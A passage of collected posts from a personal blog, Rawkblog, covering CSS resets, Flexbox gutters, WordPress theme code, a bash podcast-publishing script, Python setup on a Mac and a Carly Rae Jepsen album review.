The problem here is you end up with a lot of code. Often these set-ups get added to the top of a stylesheet and forgotten about, where all their rules are used whether they’re needed or not, and left behind even if they’re overridden by the code we’re writing further down the page.

I’ve tried a few custom approaches in the last couple years, starting with Another CSS Reset, which has my own “Scalpel.css” update to the Meyer reset, and the more evolved Setup.css, and there are other new variations out there including CSS Remedy. I have been rethinking my own stuff, and I have a better way forward, at least for my own work: resets and normalization as a base, not an extra. The key to this is thinking in terms of object-oriented CSS and leveraging the power of gzip.

With Normalize.css and the Meyer reset, just to name two, we have what I would call rules-first CSS, where we group multiple elements around single rules to keep our code DRY—”don’t repeat yourself.” Ah, but we do. If we have a normalization like:

article, aside, footer, header, nav, section, menu {
  display: block;
}

then ultimately, we’re probably going to need to call up these elements again to give them other properties:

article, aside, footer, header, nav, section, menu {
  display: block;
}

article {
  max-width: 80%;
  margin: 0 auto;
  /* you get the idea */ 
}

I would say this is problematic: we no longer have a single source of truth for our elements, and we’re inclined not to pay attention to all this stuff at the top. It encourages lazy CSS writing and potential confusion about what rules are coming from where. This is the kind of thing that makes people confused about writing CSS in the endless and baffling Twitter JS-vs.-CSS wars.

Instead, you might have a more object-oriented, or element-first design:

article {
  display: block;
  max-width: 80%;
  margin: 0 auto;
}

aside {
  display: block;
  /* other aside code */
}

footer {
  display: block;
  /* other footer code */
}

Now we’re repeating rules. Isn’t that bad? From a performance standpoint, not really: You can write display: block; in your CSS 1 time, 100 times, or 1000 times and Gzip will crunch it down when the server delivers the file to your users. And now we can state each element a single time in our entire CSS and be sure we know exactly what it’s doing. This means we can start from a set of defaults and, if we don’t need that element or normalization for our site, when we get down to that part of the code, we can cut it out.

There are a couple of other ways we can optimize this, starting with Sass mixins to avoid, yes, repeating ourselves:

@mixin reset-display() {
  display: block;
}

article {
  @include reset-display;
  max-width: 80%;
  margin: 0 auto;
}

aside {
  @include reset-display;
  // other aside code
}

footer {
  @include reset-display;
  // other footer code
}

Now our code is rule-first and element-first: we’re controlling the reset rule from a single line of code like we were before, but we also get to choose for each element if we need it or not.

I am also a prolific documenter and comment-writer, and it seems sensible to me to note what each rule is doing (is it a reset, is it normalizing, what browsers is it normalizing if so) and be sure to leave a note about these browser defaults if we do overwrite or replace the rule.

For instance, as a default style, we might have:

// browser reset
@mixin margin-reset {
  margin: 0;
}

p {
  @include margin-reset;
  // we don't need a comment here
  // the naming is self-explanatory
}

But, once we do take out the default style, we should make a note that we did in case we change it again and forget—

p {
  // replaces browser reset @include margin-reset (margin: 0;)
  margin: 0 0 1.5rem; 

  // non-reset-y code: 
}

This seems like a lot of work, but you only ever have to do it once, and then you have a full set of code and notes about what is being reset and normalized and why and you’re ready to start on your—efficient, clear, and performant—next project with your default stylesheet ready. I’m still working through how this will look in a full stylesheet, and will update this post with a repo once I’m finished with something, but I think this is an approach that will be more sustainable and straightforward for my code.

The post Normalize and reset CSS as a base, not an extra first appeared on Rawkblog.

“Petition to give Carly Rae Jepsen a sword,” Tumblr blogger Swordlesbianopinions wrote on Jan. 1, 2018, the clarity of a new year at hand and a vision of pop’s most earnest singer as warrior queen in mind.

“I like her and think she should have one,” the post continued, drolly, without any intention of starting an actual petition. The irony was acute but the affection authentic.

The thing is, we kind of did give Carly Rae Jepsen a sword.

When E•MO•TION came out in 2015, its U.S. pop prospects were so uncertain that manager Scooter Braun went for the sure thing and released it months early in Japan, where Jepsen apparently had more of a lingering following. It was the opposite of a surprise release, of a Beyoncé-level event certain of its ability to stop time and cleave culture. Jepsen had had one of the biggest hits ever—”Call Me Maybe”—but there seemed to be little faith in her power to do so again. The Japanese release was not quite straight-to-VHS, but it did mean the album leaked, and was passed quickly among critics who discretely shared links in Twitter DMs and were given a rare, lengthy window to quietly absorb one of the best records of the year. After the world had legally heard it months later, they agreed: it made No. 3 on Pazz and Jop. Not everyone came around—it got a brush-off 7-point-something from Pitchfork, where sometimes that score is cover for a gushing, secret Best New Music but in this case left the writer calling her an empty vessel: “We don’t learn much about Jepsen,” he wrote, after praising her multiple collaborators.

Less than a year later, there she was, absolutely murdering Pitchfork’s Chicago festival in the Summer of CarJeps, a U.S. tour that didn’t reach the arenas she once played with Justin Bieber as a top 40 phenom but found her—show by show, fest by fest—building an audience that was coming for her, not a hit single. Between the critical acclaim and the fandom, she became, to quote Thanos, inevitable. When somebody did finally give her a sword, albeit plastic and inflated and safe enough to get through venue security, she was playing Lollapalooza.

Jepsen’s statistical place in the pop landscape, her role as an unpopular pop singer, is interesting enough—Carl Wilson has us covered on this—but what’s most important is that what she has now is real, and she built it. E•MO•TION built it. We gave her the goddamn sword.

Dedication is the first album where we get to hear the sound of her wielding it, feel the confidence that shimmers from the vocal performances, from the lyrical honesty, from the wonderful weirdness of the music videos, from the press tour that finds her convincing reporters that she wrote 200 songs for this album after an album cycle in which she also told people she wrote 200 songs. (She told me, on the album tour: “…probably writing, I don’t know, three in-between albums that no one will ever hear before you heard E•MO•TION”). My impression of Carly Rae Jepsen is that she is a sincere and real artist and human and if she says she wrote 400 songs since 2012, listen, I believe her, but let’s not ignore this as a PR move: a songwriter making utterly sure everyone knows that she’s the fucking songwriter. It’s the kind of move you make after somebody hands you a sword at Lollapalooza and thousands of people call you queen on Instagram every day. That stuff is a joke, and it’s for fun, but it’s also not, and you can’t be the object of all that and not absorb its power.

E•MO•TION was, among many things, an album about indecision, about self-doubt and doubt in general as a barrier to romantic love. “Boy Problems” finds her needing a friend (Sia!) to tell her what she already knows is true but can’t face up to. “I Really Like You” is a song about wondering if it’s the right time to make the next physical step with a partner she’s crushing on but doesn’t yet love. In vintage house bop “I Didn’t Just Come Here to Dance,” “I didn’t just come here to dance/if you know what I mean/do you know what I mean?” is the perfect Jepsen lyric, a disco diva come-on immediately fumbling into insecurity. It could’ve been a line of dialogue in a late 2000s Michael Cera movie about high school.

Even when Jepsen stopped getting in her own way in the songs of this era, there was a sense of teenage inexperience: the post-album single “Cut to the Feeling” was less about celebrating the chemical rush of new love (or orgasm) than it was about imagining it: “I want to cut to the feeling,” she sings, and in a song where “I had a dream, or was it real?” is the opening line, makes it pointedly unclear if she’s ever felt that feeling before. The song builds to such remarkable euphoria that the question fades enough to ignore, but it doesn’t disappear.

That’s not the Carly we get on Dedication, whose confidence and sense of self is also colored by the biography that it sprang from the end of a long-term relationship and the launch of a new one. Consider “Real Love,” Dedication‘s lyrically bleakest track: it envisions a “world going crazy,” perhaps a nod to the current dystopian political landscape, but the song is aimed at someone specific, someone who’s been lying to her, and then we get this: “I go everyday without it/All I want is real, real love.” If this is about a partner, holy shit, what a moving, anguished evaluation of a broken relationship. This is not “Gimmie Love,” a song where she wondered if she wanted too much. She knows better now. She knows her worth. (Let’s note the possibility here that these songs are characters, and not strictly confessional: the growth of their narrators, I think, remains the same.)

Lead single “Party For One” strikes the clearest contrast—like an older sister to “Boy Problems,” it embraces a breakup with strength and certainty and Cyndi Lauper-level self-love. Jepsen here doesn’t need a girlfriend’s advice, and she doesn’t even need closure: “If you don’t care about me,” she sings, but she’s not waiting to find out. This is, of course, still Carly Rae Jepsen’s version of a self-love anthem, and she doesn’t go full roaring Katy Perry. “I’m not over it,” she admits, “but I’m trying.” The feeling-chasing desires of E•MO•TION are still here, but pointed in a different, more mature direction.

Carly-as-evolving-lyricist is fascinating, and so rewarding for E•MO•TION (and “Call Me Maybe”) listeners who have always appreciated who writes her songs without having to be hit by a 200-track bus. The music is where Dedicated loses a step. The confidence to explore, to stray from the album’s purported initial “chill disco” agenda, means if you write 200 songs, you’re probably going to end up with a regrettable No Doubt knock-off (“I’ll Be Your Girl”) and somehow a track with perfectly adequate indie-pop act Electric Guest that aims maybe for ’90s R&B for… reasons? It’s fluff. (When I saw the track list I mistook Electric Guest for the Drive soundtrack’s Electric Youth and that would’ve been the inspired choice.)

E•MO•TION, too, was sonically choppy, but outside of the clumsy “L.A. Hallucinations,” only got better when it tried things outside of its core ’80s pop-anthem DNA. There is just nothing here quite as astounding as “Let’s Get Lost” or as lovely as the slo-mo synths of “Favourite Color,” but enough that comes close for Dedicated to still feel like an achievement. I’ve taken to making playlist edits of albums because it’s 2019 and why not, and my version of Dedicated cuts it to 11 songs, a count I’m sure will expand if she opens the vault for another B-sides album.

Probably the album’s most left-field track is my favorite: “Everything He Needs,” which borrows a chorus from Harry Nilsson’s song “He Needs Me,” Olive Oyl’s hesitant ballad from a live-action Popeye movie. Jepsen writes around this snippet, expressing the comfort of partnership, vividly—“like pressure points, my love can ease him in my hand”—while making it all sound like Hall and Oates in space. It is so gently, adorably funky and I need another 12 tracks just like it immediately. Among the other winners, “Julien” evokes Feist’s “Inside and Out,” and if Carly ever wants to abandon the ’80s for full-on classic Dionne Warwick worship, I will be first in line. The other early singles—“No Drug Like Me,” synth-y, heady, amazing; “Now That I Found You,” fizzy, euphoric, perfect Carly—are excellent, and I do wonder if hearing and obsessing over so much of the album before release makes some of the lesser album cuts feel weaker just by lack of familiarity.

A through-line for the album I keep noticing is its emphasis on mornings: if Lorde’s Melodrama was about the blurred, exaggerated feelings of neon nights, Dedicated literally starts a third of these songs with lyrics about waking up. There’s knowing there, clarity: the light of day, of seeing things as they are, of a morning after that comes with last night’s commitments and consequences. It wasn’t a dream, it was real, and there’s no escaping the joy and pain that can come with that. On Dedicated, Jepsen is brave enough to tell us about all of it, a queen in her castle, a knight of the realm.

The post Carly Rae Jepsen – ‘Dedicated’ Album Review first appeared on Rawkblog.

Photo by david laws on Unsplash

Dom Sinacola and I do our podcast, Pretty Little Grown Men, in a pretty DIY way. We record it ourselves and do some minor editing/mixing in Reaper, upload it for free on Archive.org, and create the RSS feed that sends it to Apple Podcasts and Stitcher by posting on this very WordPress site. There are a number of steps involved in getting this thing from our microphones into your ears, so recently I’ve come up with a workflow that automates some of the set-up.

After finishing up recording and mixing, I export an audio file from Reader as, for example, plgm_episode_83.wav. This file then needs to be tagged, converted to MP3, and sent up to the cloud.

I’ll show you how I’m doing this—first with the terminal commands, and then by building it into a script. I’m doing all of this on a Mac.

Running the commands

Tagging with Taffy

Technically, we can live without tagging, as Apple and other podcast platforms will pull that information from the RSS data, but I like to do it anyway in case the files end up on a hard drive somewhere and someone needs to know what they’re looking at. I do this manually in kid3, which is a great little tool, but filling out title, artist, genre, etc. one field at a time is a time suck. I found the command-line utility taffy, which works on top of taglib, as a simple way to automate this piece.

I set this up by installing Taglib, a prerequisite for Taffy, with Homebrew:

brew install taglib

And installing Taffy with Gem.

sudo gem install taffy

Taffy can now be run with the taffy command, and can easily set fields like title, artist, track number, year, and genre. I’m going to use all of these, and point them toward the path of the file to target at the end of the command.

taffy \
    -t "Pretty Little Liars: The Perfectionists, S01E05" \
    -r "Pretty Little Grown Men" \
    -n 83 -y 2019 -g podcast \
    ~/Desktop/plgm_episode_83.wav

The \ escape characters are just in here to make this a little more readable for you, you don’t need them.

Encoding with XLD

I use XLD for encoding audio files. Upon installation, it comes with a CLI folder with the xld binary. You can put this wherever it can be accessible on your path so you can run xld commands.

I personally have a custom cli-tools folder in my home directory for CLI tools and apps I download so I can remember where they are, vs. things that came with my Mac or I use with Homebrew.

One nice thing you can do with XLD is get your settings right in the GUI app for the kind of conversation you want to do, and save that as a profile. You can call this up with the CLI tool so it will do the right thing and you never have to worry about how you left your XLD configuration. I convert our .wav files to a V5.5 MP3 file, which still sounds good to me but manages to get the file size down dramatically. Presumably a 96 or 128kpbs file would be fine, too, but I’m used to using variable bit rates. I’ve saved this conversation as the profile “podcast.”

We can use the -f flag to set our format, which is mp3.

So, we give xld the source file, the format for the destination file, and set the profile for the encoding.

xld plgm_episode_83.wav -f mp3 --profile podcast

You can list an output directory but doing it without one will just save the new file to your current, local directory (the same place as the .wav file).

Uploading to Archive.org

Finally, we need to use the Internet Archive’s CLI tool to upload this. I used pip to install it:

pip3 install internetarchive

You could also download the binary directly and make it executable.

I set my login credentials for archive.org with:

ia configure

It will ask for an email and password and save that in a file for future use.

Now we can go straight to work: in my case, I’ll use the upload command, tell Archive.org what existing directory to use, and the name/path of the file to send it—the new MP3.

ia upload PrettyLittleGrownMen plgm_episode_83.mp3

That’s it.

I use Archive.org vs. Libsyn or self-hosting on a web server because it’s free, we’re giving away the podcast anyway, and I don’t need to track any metrics from people downloading it from Archive.org (vs. through our RSS feed and Apple) because we don’t run ads. The more the merrier. This has been a great, reliable solution for us which is now comically easier now that I can upload my files without clicking six different buttons.

Building the script

Let’s put this into a script and simplify the whole thing.

I’ll start with a new text file, podcast.sh, which needs to be executable:

touch podcast.sh && chmod +x podcast.sh

In my text editor, we’ll add the opening bash comment:

#!/bin/bash

and do this all on my desktop, but any directory is fine:

cd ~/Desktop

And run our three commands there:

taffy \
    -t "Pretty Little Liars: The Perfectionists, S01E05" \
    -r "Pretty Little Grown Men" \
    -n 83 -y 2019 -g podcast \
    ~/Desktop/plgm_episode_83.wav
xld plgm_episode_83.wav -f mp3 --profile podcast
ia upload PrettyLittleGrownMen plgm_episode_83.mp3

So our script looks like:

#!/bin/bash
cd ~/Desktop
taffy \
    -t "Pretty Little Liars: The Perfectionists, S01E05" \
    -r "Pretty Little Grown Men" \
    -n 83 -y 2019 -g podcast \
    ~/Desktop/plgm_episode_83.wav
xld plgm_episode_83.wav -f mp3 --profile podcast
ia upload PrettyLittleGrownMen plgm_episode_83.mp3

This is a good script for a single file but not for use on a weekly basis as file names and episode numbers change. Let’s add some variables to fix that.

When you call a script, like sh podcast.sh, you can follow this command with some variable arguments and they’ll pass into the script as $1, $2, and so on. We can use that here, treating $1 as the number for our podcast episode number and $2 for the actual show episode number.

#!/bin/bash

# $1 = podcast episode number
# $2 = show episode number

cd ~/Desktop
taffy \
    -t "Pretty Little Liars: The Perfectionists, S01E$2" \
    -r "Pretty Little Grown Men" \
    -n $1 -y 2019 -g podcast \
    ~/Desktop/plgm_episode_$1.wav
xld plgm_episode_$1.wav -f mp3 --profile podcast
ia upload PrettyLittleGrownMen plgm_episode_$1.mp3

And we can run this with:

sh podcast.sh 83 05

I name the .wav file with an episode number when I export it from Reaper, so it’s important to make sure that number matches or it breaks everything. But the show episode number is just for tagging, so messing that up won’t stop us.

Now I can do a single command to tag, convert, and upload the file, instead of spending 10 or 15 minutes doing this on a bunch of screens. That’s awesome.

What I don’t like about this is having to remember to put in two numbers and in what order for the script command, so I made this even easier with aText, a $5 text expander app I’ve used for years. aText expansions can prompt you for content by adding fields, so what I’ve done is set the abbreviation

make pod

to an expansion with sh podcast.sh and two fields after that I have to fill in. So I can open my terminal and type make pod, and aText will ask me for a “podcast episode number (ex: 84)”, and then a “show episode number (04).” Now all I have to do is know what podcast and show episode I’m working with and my program takes care of where everything needs to go. Something I use aText for constantly is setting long file paths to abbreviations so I don’t have to remember where anything is, so I may end up setting make pod to sh ~/scripts/podcast/podcast.sh or wherever this file ends up. I tend to go back and forth between what I put in aText and what becomes a Bash alias.

You could also set up the variable reminders with an interactive script in Bash, but I already have aText running anyway so it’s a little quicker.

Wrapping Up

When this is all done, I still have to open WordPress and type of the blog post, which is another few minutes. To speed this bit up, I’ve added the Duplicate Post plugin, so I start by copying last week’s podcast post and just editing the text and numbers I need to before hitting publish. I should’ve done this several years ago, but better late than never.

One thing this workflow doesn’t do yet is add cover art to the .wav and .mp3 file (taffy can’t do it), which is something I can live without for now as Apple will take care of it in the podcast app, but it would be a nice touch to automate. For now, I may do it in kid3 before running the script.

As always, would love to hear any feedback and ways to do this better or differently.

The post How I semi-automated our podcast workflow first appeared on Rawkblog.

Python has several versions, 2 and the newest, 3—up to 3.7 at the time of this writing. On a Mac, your system came with one built in, probably 2.7, which is not what we want to use for installing tools such as Ansible or the AWS command line interface. So let’s leave this alone.

We want the latest 3.x version and will install it with Homebrew.

Check current Python status in the terminal (these are all terminal commands!)—you can hit tab twice after typing “python” to see all the auto-complete options of all the Python installs you may have.

python

This gave me a bunch of stuff. Not super helpful.

which -a python

This is better. Once you have the file paths, you can then check versions like:

/usr/bin/python --version

Installation with Homebrew

Make sure to define the version you want:

brew install python3

This comes with pip3, Python’s package installer/manager, which we want for Ansible, etc.

Aliases for pip and python commands

Let’s not worry about remembering to type out pip3 or python3 by aliasing them from your .bash_profile:

nano ~/.bash_profile

alias pip='pip3'
alias python='python3'

Re-open the terminal and check that this worked:

pip --version
python --version

Great 👍

Using Pip3-managed tools on the command line

You can now do things like:

pip install ansible

pip install awscli --upgrade --user

(If you don’t do the aliasing, you will want to do this:)

pip3 install ansible

Ansible will install itself to your PATH, but aws-cli lands in a Python folder, so we need to add that folder to our Bash profile. Note the version number in the file path.

nano ~/.bash_profile

export PATH="$PATH:~/Library/Python/3.7/bin"

Make sure this worked:

aws --version

aws-cli/1.16.140 Python/3.7.3 Darwin/18.2.0 botocore/1.12.130

Now you’re good to go.

The post Setting up Python3 and Pip3 on your Mac first appeared on Rawkblog.

Soon, gap will no longer be just for Grid, thus the name change. We’ll be able to use it to set gutters in Flexbox. But that’s a ways off and we’re using Flexbox now, everywhere. So let’s solve this problem.

If we want specific gutters, why would we use Flexbox over Grid?

– Flexbox still has wider browser compatibility
– Flexbox is, well, more flexible: if we happen to have one extra image in a three-column photo gallery and we want it to span the full width automatically instead of leaving two columns of empty space, we need to use Flexbox.

The issue of flexibility also prevents us from using obvious solutions such as last-of-type or nth-of-type to remove margin on a single side because we don’t know what that n will be.

If we have a single Flexbox row, no wrapping, we can set horizontal gutters easily:

CSS:

.flex-parent > *:not(:last-child) {
  margin-right: 1rem;
}

/* or */

.flex-child:not(:last-child) {
  margin-right: 1rem;
}

:last-child is element-agnostic—it will use whatever the final element of the parent is—so I prefer the first implementation because literally anything can be inside the Flexbox parent and it will be spaced correctly.

But we need something more heavy-duty for Flexbox “grid” gutters.

Negative Margin

Turns out is a hack for this, which I learned about in Heydon Pickering’s Making Future Interfaces: Algorithmic Layouts video.

As he describes it, it might look a bit like this:

HTML:

<div class="flex">
  <div class="item">Item</div>
  <div class="item">Item</div>
  <div class="item">Item</div>
  <div class="item">Item</div>
  <div class="item">Item</div>
</div>

CSS:

.flex {
  display: flex;
  flex-wrap: wrap;
  margin: -1rem;
}

.item {
  margin: 1rem;
}

Margin collapse does not exist inside a Flexbox, which means all children now have 1rem of margin on all sides, creating equal 2rem gutters between them—just like grid-gap. The issue is the 1rem of margin all around, which creates uneven design and prevents flush sides.

By setting an equal negative margin on the flex parent, it appears we solve this problem.

Let’s see this visually.

Here’s a Flexbox grid with no margin.

Here’s 1rem of margin on each child. This creates nice 2rem gutters in between as well as the extra 1rem border that we want to remove.

Now we add a negative margin to the parent. Success! We made grid-gaps!

Uh-oh.

It turns out that negative margins do introduce new problems:

– the negative margins expand the parent, so background colors and borders cannot be used or they will override the surrounding elements

And more importantly, for a full-width grid, in a left-to-right website:

– margin: -1rem; creates 1rem of overflow on the right-hand side, creating extra space and a horizontal scrollbar. This is the one we really want to avoid.

Both of these make throwing down a negative margin risky to use, or at least requiring special care. But we can mitigate these issues.

Making Negative Margins Safer

There are a couple of approaches I am interested in.

– removing right-side margins

In a left-to-right website, left margins won’t create overflow. They’ll just push harmlessly into the empty space outside of the browser. So instead of using margins all around, we can be more restrictive:

.flex {
  // ... 
  margin-left: -1rem;
}

.item {
  margin: 0 0 1rem 1rem;
}

Now we have equal 1rem gutters vertically and horizontally, we’re going to keep the bottom margin, and we only have to worry about the left margin.

If we’re not adding any further styling—background colors or something else that can overflow—we’re done.

If the grid in question is going to be on the left side of the screen, with nothing to overflow into, then we’re safe to use background colors. (Borders will still be off in space so you’d be missing a side.)

For content like a photo gallery that’s going to appear in a column or content section, I think this is enough. You just don’t want to run into the right-side problem. We can do more, though:

Hiding Overflow

But we might want to use the original margin: 1rem; method or even just be sure our left margin won’t cause any problems. We can do that with overflow: hidden;. This needs to go on the parent of the flex parent, like this:

<body>

<div class="container">

	<div class="flex">
	  <div class="item">Item</div>
	  <div class="item">Item</div>
	  <div class="item">Item</div>
	</div>

</div>

And then:

.container {
  overflow: hidden;
}

.flex {
  // ... 
  margin: -1rem;
}

.item {
  margin: 1rem;
}

/* or */

.container {
  overflow-x: hidden; /* left and right only */
}

.flex {
  // ... 
  margin-left: -1rem;
}

.item {
  margin: 0 0 1rem 1rem;
}

My gripe here is overflow: hidden is a brute-force tool that’s usually used to disguise issues in layouts which have failed to become truly responsive. In this case, however, we do have legitimate, useless overflow that we need to hide, and it’s the right tool for the job.

So let’s say we’re using margin all around and we’re back at this step:

The neatest way to solve this is to wrap the flex parent in its own parent container just as a wrapper for this element, and then use overflow: hidden on the whole thing.

Fixed! And because we have isolated overflow: hidden around our element, we won’t run into any layout bugs by putting it on a bigger container. The other benefit is we can now use background colors, borders, etc. on this new wrapper element.

We can’t always add this safety wrapper, though, as in cases like a WordPress gallery where the markup is set and our parent container is going to be the whole column for the page content. In this case, we can still use overflow: hidden—with the awareness that we now have our brute force instrument applying to anything else we have in the container, and only solving our Flexbox margin issues for the top and bottom if those sides are hitting the top and bottom of the container.

So in this case, for content we can’t wrap up directly, the 100% solution is to stick to using negative margins on the horizontal sides and then clipping them with overflow-x: hidden.

One more wrinkle

In a Flexbox, adding margins to children takes up the box’s available space and shrinks the children. (Unless widths have been fixed.) Subtracting margins does the opposite: it makes the children bigger.

This means you can’t use this technique on a flex parent which is itself a flex child. Or, you can, but it will change the sizing of your layout: if your margin-left is -1rem, then your parent will expand left by 1rem. (I haven’t tested this on a flex parent inside a grid fractional column, but I assume a similar thing will happen.) And because there is no non-flex parent at all, we can’t hide the overflow.

So this layout is fine:

<main class="main"> <!-- a flex parent -->
  
<aside class="sidebar"></aside> <!-- flex child -->

  <section class="content"> <!-- flex child but not a parent -->

    <div class="flex-parent"> <!-- flex parent for the grid -->
      <div class="item"></div>
    </div>

  </section>
</main>

The .content section can be used with overflow: hidden no problem. This is a more typical layout, I think.

But this layout is going to give you trouble:

<main class="main"> <!-- a flex parent -->
  <aside class="sidebar"></aside> <!-- flex child -->

  <section class="content flex-parent"> <!-- flex child and a parent - don't use negative margin here -->
      <div class="item">Item</div>
      <div class="item">Item</div>
      <div class="item">Item</div>
  </section>

</main>

You could set a max-width on this but then what happens is the negative margin just drags the whole thing over and you’ll get an extra gutter.

Weird flex, but O.K.

Our final options for true Flexbox grid gutters are:

– overflow: hidden on container for the flex parent to hide the negative margin, a negative margin on the flex parent to hide the gutter excess, and positive margin on the flex children to create the gutters. Can style the wrapper with backgrounds and borders. This is the most custom and cleanest approach, but means we need a wrapper element.

– overflow: hidden or overflow-x: hidden on a container when we can’t wrap the flex parent directly, and stick to horizontal negative margins which the container will clip. Background colors safe to use.

– Don’t use overflow: hidden; use left margins only to create the gutters to avoid overflow; safe enough if you don’t need to add styling.

– Make sure there is a non-flexible container on the top level for the best results.

Happy flexing.

The post Flexbox gutters and negative margins, mostly solved first appeared on Rawkblog.

I was reading Harry Roberts’ exhaustive CSS Wizardry post about CSS and Network Performance and he points the way toward a possible future of CSS: not just in the head, but with stylesheets linked throughout the page as needed. A bit from his example:

<!DOCTYPE html>
<html>
<head>

  <link rel="stylesheet" href="core.css" />

</head>
<body>

  <link rel="stylesheet" href="site-header.css" />
  <header class="site-header">

    <link rel="stylesheet" href="site-nav.css" />
    <nav class="site-nav">...</nav>

I think you get the idea: modern and future browsers will allow us to load CSS directly before the elements they style and render the page progressively, instead of having to traverse a single full stylesheet at the top of the page before beginning the render. This potentially improves the user experience and site speed dramatically. (Here’s more, from Jake Archibald’s 2016 article.)

But how can we do this in WordPress?

It’s a bit tricky. Proper WordPress stylesheet inclusion means using wp_enqueue_scripts, a hook which sends stylesheets only to wp_head after putting them into the system for access via plugins like Autoptimize and so on.

We need two things:
– a progressive place in the theme to load the stylesheet to
– a way to send stylesheets to non-head locations

We can take care of the first with action hooks. Themes like Genesis are full of these, and you can pepper your theme with them easily:

<?php do_action( 'before_footer' ); ?>
<footer>
  ...

All you need to do is declare the hook in the right spot (perhaps footer.php) with the do_action() function. Your footer is now ready for styling.

For the second part, we’ll head over to functions.php, where instead of wp_enqueue_style, we can rely on an older WordPress function, wp_print_styles:

function enqueue_theme_stylesheets() {
  wp_register_style( 'footer', get_template_directory_uri() . '/css/footer.css );
}
add_action( 'wp_enqueue_scripts', 'enqueue_theme_stylesheets' );

function footer_styles() {
  wp_print_styles( 'footer' );
}
add_action( 'before_footer', 'footer_styles' );

We still need to register our stylesheet to get it into the WordPress queueing system, but then we can just send it to the hook to print.

And we can do better: WordPress’ enqueue and registration functions allow us to set media queries (which Harry covers for non-WP use as well), so we can load the minimum amount of code for mobile and scale our way up (or be even pickier).

function enqueue_theme_stylesheets() {
  wp_register_style( 'footer', get_template_directory_uri() . '/css/footer.css );
  wp_register_style( 'footer-800', get_template_directory_uri() . '/css/footer-800.css', array(), false, 'all and (min-width: 800px)' );
}
add_action( 'wp_enqueue_scripts', 'enqueue_theme_stylesheets' );

function footer_styles() {
  wp_print_styles( 'footer' );
  wp_print_styles( 'footer-800' );
}
add_action( 'before_footer', 'footer_styles' );

(We need to include the array() and false defaults above to get over to the fifth parameter, $media, where we can add our own media query.)

And on and on until you have a million tiny stylesheets in your CSS folder.

Of course, wp_enqueue_scripts has been the preferred way to load stylesheets since 2011—at the time, there was thought to be a conflict with wp_print_styles() with WordPress 3.3 that would send the stylesheet into the admin side. I don’t know if any such bugs or other concerns exist in WordPress 5.0, and would be interested to hear some feedback.

One other downside is that plugins such as Autoptimize will not respect your hook locations—if you are using it to minify and concatenate your CSS, it will grab the registered stylesheet and concatenate it with all the rest in the head as usual. So the good news is this method keeps your stylesheets within the WordPress flow, but the bad news is (unless there are alternatives I’m not aware of) you’ll have to minify your files before handing them off to WordPress. Perhaps this is something for a future Autoptimize update…

I’ve done brief testing with this and it works—I have yet to break down Rawkblog’s CSS this way to see what the performance benefits might look like. Please let me know if any of this makes it onto your site and how it works for you.

Nathan Rice has also written about how we might do this with CSS just for Gutenberg blocks, using a similar method, but perhaps there’s no reason not to do it for all our styles, everywhere.

The post Loading just-in-time CSS in the Body with WordPress first appeared on Rawkblog.

I discovered the issue working with a client whose emails sent through G Suite (Gmail for business, which lets you use your website domain for your email address, i.e. emailme@davidgreenwald.com) were landing in spam, as were their received emails.

After going through email best practices, like setting up SPF, DKIM and DMARC records, and checking for positive domain reputation and a presence on email blacklists, I found that the problems persisted. That left the emails themselves: there had to be something in the email content that was triggering Gmail’s spam algorithms.

And there was. I did a quick A/B test by having my client’s team email me with and without their email signatures. The signature emails landed in spam—the non-signature emails went through. We went to G Suite customer support, who told my client that Google is indeed filtering for insecure links—HTTP instead of encrypted HTTPS. So if your signature is linking to http://twitter.com or http://rawkblog.com instead of their encrypted versions, https://twitter.com or https://rawkblog.com, it’s time to update your signature links.

A Google Cloud support agent confirmed to me on Wednesday that “it’s part of the Google security,” but wouldn’t comment further.

Google tends to keep their algorithm choices quiet, so this isn’t surprising. Regardless, linking directly to HTTPS sites is an important move for the modern web anyway to protect user privacy and safety. If it’s been a while since you wrote out your email signature, or any other links you send regularly, it’s time to update them to HTTPS.

It seems unlikely that little old me is the first to discover this but I haven’t seen any other write-ups: please reach out to me on Twitter if you’ve seen any further documentation.

The post Gmail is flagging non-HTTPS links in email for spam first appeared on Rawkblog.

Here are the details:

WordCamp Portland
Saturday, Nov. 3, 2018 — Columbia Lightning Talks, 1:30 p.m.
WordCamp Portland schedule + Buy WordCamp Portland tickets

WordCamp Seattle
Sunday, Nov. 11, 2018 — 1 p.m.
WordCamp Seattle schedule + Buy WordCamp Seattle tickets

Hope to see you there. My talk about how Snail Mail made the album of the year isn’t on the schedule for some reason but I’ll give it if you ask.

The post I’m speaking at WordCamp Portland and WordCamp Seattle 2018 first appeared on Rawkblog.

<?php the_category(); ?>

Which prints out to HTML as an unordered list that looks like:

<ul class="post-categories">
  <li>
    <a href="https://example.com/category/example-category">Example Category</a>
  </li>
</ul>

If we have multiple categories and pass the function a separator, like adding a comma and a space:

<?php the_category( ', ' ); ?>

Then it strips out all the list tags and just gives us:

<a href="https://example.com/category/example-category">Example Category</a>, <a href="https://example.com/category/example-category-2">Example Category 2</a>

Neither of these is ideal for flexible styling. But we can do a little better like this:

<ul class="post-categories">
  <li class="category-item">
  <?php the_category( '</li><li class="category-item">' ); ?>
  </li>
</ul>

By adding closing and opening tags in the separator argument, and opening and closing around them, we set it up so that a single category won’t use the separator and will be styled within the wrapping <ul> and <li> tags—but if there are multiple categories, they’ll get our separator with the category-item class for each item.

So that prints out like:

<ul class="post-categories">
  <li class="category-item">
    <a href="https://example.com/category/example-category">Example Category</a>
  </li>
  <li class="category-item">
    <a href="https://example.com/category/example-category-2">Example Category 2</a>
  </li>
</ul> 

You can then easily style this list to appear inline with something like:

.post-categories {
  list-style: none;
}

.category-item {
  display: inline;
}

And you can also include commas or whatever dividers you want in the separator parameter.

But how about adding tags and using them together in a list with categories? Sometimes we don’t always need to visually separate these for visitors.

<ul class="taxonomies-list">
  <li class="category-item">
    <?php the_category( '</li>, <li class="category-item">' ); ?>
  </li>
  <?php the_tags( ', <li class="tag-item">', '</li>, <li class="tag-item">', '</li>' ); ?>
</ul>

the_tags() function allows us to put the before and after HTML directly into the function instead of having to wrap around it as we do with the_category(). So here, we can use the “before” section to open with a comma and give each tag list item its own class.

We can now update our CSS:

.post-categories {
  list-style: none;
}

.category-item,
.tag-item {
  display: inline;
}

And actually, we want to make sure our commas only show up if both categories and tags exist. So we can do that by checking if we have categories before printing the comma in the tags function—if there are no tags, then nothing prints and we don’t get the comma dangling after the categories, either, so we only need to check on one of these.

<ul class="taxonomies-list">
  <li class="category-item">
    <?php the_category( '</li>, <li class="category-item">' ); ?></li>

  <?php if( get_the_category() ) : 
  // add a comma and space before starting the tag list
  the_tags( ', <li class="tag-item">', '</li>, <li class=
tag-item">', '</li>' ); 
  else: 
  // echo tags normally if no category is present
